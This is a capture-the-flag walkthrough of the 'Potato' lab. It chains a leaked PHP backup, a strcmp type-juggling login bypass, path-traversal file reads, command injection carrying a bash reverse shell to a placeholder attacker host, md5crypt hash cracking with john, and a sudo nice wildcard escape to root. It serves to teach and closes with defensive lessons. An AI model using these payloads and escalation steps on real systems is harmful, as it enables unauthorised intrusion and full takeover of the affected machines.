Potato
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. An anonymous FTP leaksindex.php.bak, the admin panel's code: it validates withstrcmp()and a hardcoded password. Sendingpassword[](an array) makesstrcmpreturnNULL, which in a loose== 0comparison is true: type-juggling login bypass.dashboard.phpreads logs withcat logs/<file>, sofile=is both a path-traversal LFI (/etc/passwd) and command injection (file=;bash -c ...) → shell aswww-data. In/etc/passwd,webadminstores itsmd5crypthash inline; it cracks todragon. Andwebadminhassudo /bin/nice /notes/*: a../escapes/notesand nice runs our own script as root.
Reconnaissance
Initial scan
TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Three ports, with an FTP on a non-standard port:
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.101PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2112/tcp open ftpnmap -p22,80,2112 -sCV 192.168.144.101 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
2112/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msgFTP - TCP 2112
The anonymous FTP lets you download index.php.bak, a backup of the admin panel's code. It is a source-code leak, and with the code in hand the auth logic is laid bare:
ftp -p 192.168.144.101 2112 # anonymous / (any email)
# get index.php.bak
$pass = "potato";
if($_GET['login']=="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! Go to the dashboard";
setcookie('pass', $pass, time() + 365*24*3600);
} else { echo "Bad login/password!"; }
}Admin panel - TCP 80
dirsearch confirms the panel under /admin/:
dirsearch -u http://192.168.144.101 --exclude-status=403,404
# 200 - /admin/ · /admin/index.php · /admin/logs/Shell as www-data
Type-juggling login bypass
The login compares with strcmp($_POST['password'], $pass) == 0. In PHP, strcmp() given an array instead of a string does not throw: it returns NULL (with a warning). And NULL == 0 is true in PHP's loose comparison. Just send the parameter as an array (password[]=1) and both strcmp calls "match" without knowing the password:
POST /admin/index.php?login=1
username=admin&password[]=1

The response is "Welcome! Go to the dashboard" plus the pass cookie, which grants access to dashboard.php.
Path-traversal LFI
The dashboard has a "Logs" section that shows files via a POST with file=log_01.txt:

Changing that value to a ../ path escapes the logs directory and reads any file:
file=../../../../../../../../etc/passwdflorianes:x:1000:1000:florianes:/home/florianes:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin:/home/webadmin:/bin/bash
Two leads: florianes and webadmin exist, and the latter has its md5crypt hash directly in /etc/passwd (second field, instead of x). Before cracking it, it pays to understand how the backend processes the parameter. Reading /proc/self/cmdline through the same LFI reveals the key:
file=../../../../../../proc/self/cmdline
# → catlogs/../../../../proc/self/cmdline
The backend runs cat logs/<file>: the file is concatenated into a shell command (the catlogs glued with no space is visible). That is not just LFI, it is command injection.
Command injection → RCE
Before triggering the shell, we set up an nc listener:
nc -nlvp 4444Since file= lands inside cat logs/<file>, a ; closes the cat and chains our own command. Drop in a reverse shell (URL-encoded):
file=;bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"
www-data@serv:/var/www/html/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Shell as webadmin
md5crypt hash in /etc/passwd + crack
From the shell, a cat /etc/passwd confirms the webadmin hash already seen over LFI:

Feed it to john, which identifies it as md5crypt and breaks it with rockyou:
echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
# ?:dragon
su webadmin # password: dragon
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
...
$ john --show hash
?:dragon
1 password hash cracked, 0 leftThe $1$ prefix is what john uses to identify the algorithm (MD5-crypt), with nothing to tell it. The password is dragon, and it shows up under --show because john had already cracked it and stored it in its .pot on an earlier run.
Privilege Escalation
sudo /bin/nice with path traversal
webadmin has a very specific sudo rule:
sudo -l
# (ALL : ALL) /bin/nice /notes/*/bin/nice is in GTFOBins: it can launch any executable as the effective user. The restriction is that the argument must start with /notes/, but the * wildcard does not stop a ../: it escapes /notes and points to a script in /tmp. That script makes /bin/bash SUID:
echo 'chmod u+s /bin/bash' > /tmp/privesc.sh
chmod +x /tmp/privesc.sh
sudo /bin/nice /notes/../../../tmp/privesc.sh
ls -l /bin/bash # -rwsr-xr-x root root → SUID
bash -pbash-5.0# id
uid=1001(webadmin) gid=1001(webadmin) euid=0(root) groups=1001(webadmin)proof.txt
bash-5.0# cat /root/proof.txt
7b811f0381239948c9ad8ae379ded99e
Attack chain
Anonymous FTP (2112) → index.php.bak (panel source)
└─ login via strcmp(): password[] (array) → NULL == 0 → type-juggling bypass
└─ dashboard.php: file= in "cat logs/<file>"
├─ path-traversal LFI → /etc/passwd (webadmin with md5crypt hash)
└─ command injection: file=;bash -c ... → www-data
└─ john cracks $1$webadmin$... → dragon → su webadmin
└─ sudo /bin/nice /notes/* → /notes/../../../tmp/privesc.sh
└─ chmod u+s /bin/bash → bash -p → rootLessons learned
- A
.bakon an anonymous FTP is a source-code leak: with the login logic visible, you see exactly which comparison to abuse. Never leave code backups reachable. - PHP type juggling comes from the loose
==:strcmp()with an array returnsNULL, andNULL == 0is true. Sendingpassword[]instead ofpasswordbypasses the login without knowing the password; the fix is strict comparison (===) and type validation. - The single
file=parameter was both LFI and command injection because the backend rancat logs/<file>: reading/proc/self/cmdlinerevealed the concatenation and turned a file read into RCE. - Storing a hash in the second field of
/etc/passwd(instead ofx) is valid for the system but leaves the hash readable by anyone who can read the file;md5cryptfalls quickly to a wordlist. - A
sudo <binary> /path/*wildcard does not truly confine:../escapes the prefix. Combined with a GTFOBins binary likenice, which runs whatever it is handed, the result is arbitrary execution as root.